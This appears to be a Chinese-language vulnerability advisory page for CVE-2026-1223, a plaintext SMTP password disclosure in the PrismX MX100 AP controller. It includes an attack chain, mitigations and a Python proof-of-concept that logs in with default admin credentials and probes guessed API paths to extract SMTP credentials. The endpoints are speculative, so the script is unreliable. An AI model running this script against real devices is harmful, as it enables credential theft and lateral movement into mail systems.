IPBUF安全漏洞报告
English
CVE-2026-1223 CVSS 4.9 中危

CVE-2026-1223 PrismX MX100 AP控制器凭证保护不足漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-1223
漏洞类型
凭证保护不足/敏感信息泄露
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
BROWAN COMMUNICATIONS PrismX MX100 AP Controller

相关标签

凭证保护不足敏感信息泄露明文密码PrismX MX100AP控制器BROWAN COMMUNICATIONSSMTP凭证泄露CVE-2026-1223中等严重度网络攻击

漏洞概述

CVE-2026-1223是BROWAN COMMUNICATIONS公司开发的PrismX MX100 AP控制器中存在的一个凭证保护不足漏洞。该漏洞允许具有高权限的认证远程攻击者通过Web前端界面获取SMTP服务的明文密码。攻击者利用此漏洞可获取设备配置中存储的SMTP凭证,这些凭证通常用于邮件通知功能。由于密码以明文形式存储和传输,攻击者获取这些凭据后可能用于横向移动或进一步攻击相关联的邮件系统。该漏洞的CVSS评分为4.9,属于中等严重程度,攻击复杂度低,但需要高权限才能利用。漏洞于2026年1月20日被披露,发现者为[email protected](台湾计算机紧急应变中心)。

技术细节

PrismX MX100 AP控制器的Web管理界面存在凭证保护不足的安全缺陷。该设备的管理员界面允许配置SMTP服务器设置以实现邮件通知功能,但系统将SMTP密码以明文形式存储在配置文件中,并且在Web前端页面中直接以明文形式显示。攻击者通过以下方式利用此漏洞:首先,攻击者需要获得设备的管理员或更高权限账户;然后,攻击者访问Web管理界面中的SMTP配置页面(通常路径为System > Mail Settings或类似路径);最后,攻击者可直接在页面中读取或通过API请求获取存储的SMTP明文密码。攻击者获取SMTP凭证后,可访问配置的邮件服务器,可能导致邮件内容泄露、邮件欺骗攻击或作为横向移动的一部分攻击企业内部邮件系统。漏洞的根本原因在于:1) 敏感凭证未加密存储;2) Web界面缺乏对敏感信息的适当遮蔽处理;3) API接口未实施额外的访问控制。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标PrismX MX100 AP控制器,确认设备型号和版本信息
STEP 2
步骤2
获取访问权限:攻击者通过暴力破解、默认凭证或社工手段获取设备的管理员或更高权限账户
STEP 3
步骤3
访问Web管理界面:使用获取的凭证登录PrismX MX100的Web管理控制台
STEP 4
步骤4
导航至SMTP配置页面:访问系统设置或邮件配置页面(通常位于System > Mail Settings或类似路径)
STEP 5
步骤5
提取明文凭证:直接在Web页面或通过API请求获取存储的SMTP服务器地址、用户名和明文密码
STEP 6
步骤6
横向移动:利用获取的SMTP凭证访问邮件服务器,可能导致邮件内容泄露、邮件欺骗或进一步的企业网络渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-1223 PoC - PrismX MX100 SMTP Credential Disclosure # Note: This is a theoretical PoC for educational purposes only import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit_cve_2026_1223(target_ip, target_port=443, username='admin', password='admin'): """ Exploit CVE-2026-1223: Insufficiently Protected Credentials in PrismX MX100 This vulnerability allows authenticated users to retrieve SMTP plaintext passwords through the web frontend of PrismX MX100 AP Controller. Args: target_ip: Target device IP address target_port: Target device port (default: 443) username: Administrator username password: Administrator password Returns: dict: Contains extracted SMTP credentials if successful """ base_url = f"https://{target_ip}:{target_port}" results = { 'smtp_server': None, 'smtp_username': None, 'smtp_password': None, 'success': False } try: # Step 1: Authenticate to the device session = requests.Session() login_data = { 'username': username, 'password': password } login_response = session.post( f"{base_url}/api/login", json=login_data, verify=False, timeout=10 ) if login_response.status_code != 200: print(f"[-] Authentication failed: HTTP {login_response.status_code}") return results print(f"[+] Successfully authenticated as {username}") # Step 2: Access SMTP configuration page # Common paths for SMTP settings in AP controllers smtp_paths = [ '/api/system/mail', '/api/settings/smtp', '/cgi-bin/mail_config.cgi', '/admin/mail-settings' ] for path in smtp_paths: try: response = session.get(f"{base_url}{path}", verify=False, timeout=10) if response.status_code == 200: data = response.json() if response.headers.get('content-type', '').find('json') != -1 else response.text # Look for SMTP credentials in response if isinstance(data, dict): results['smtp_server'] = data.get('smtp_server') or data.get('mail_server') results['smtp_username'] = data.get('smtp_username') or data.get('mail_username') results['smtp_password'] = data.get('smtp_password') or data.get('mail_password') if results['smtp_password']: results['success'] = True print(f"[+] SMTP Credentials Found!") print(f" Server: {results['smtp_server']}") print(f" Username: {results['smtp_username']}") print(f" Password: {results['smtp_password']}") break except Exception as e: continue if not results['success']: print("[-] SMTP credentials not found in common paths") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return results if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port] [username] [password]") print(f"Example: python {sys.argv[0]} 192.168.1.1 443 admin admin") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 user = sys.argv[3] if len(sys.argv) > 3 else 'admin' pwd = sys.argv[4] if len(sys.argv) > 4 else 'admin' exploit_cve_2026_1223(target, port, user, pwd)

影响范围

PrismX MX100 AP Controller 固件版本 < 修复版本

防御指南

临时缓解措施
在厂商发布正式修复补丁之前,建议采取以下临时缓解措施:1) 限制Web管理界面的网络访问,仅允许受信任的管理IP访问;2) 更改默认的管理员凭证,使用强密码并定期更换;3) 禁用不必要的远程管理协议,仅保留必要的访问方式;4) 监控设备和邮件服务器的访问日志,及时发现异常访问行为;5) 考虑使用独立的邮件账户用于设备通知功能,避免使用主要业务邮箱;6) 实施网络入侵检测系统,监控针对管理端口的可疑扫描和访问行为;7) 对管理网络实施零信任架构,所有访问请求均需验证和授权。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表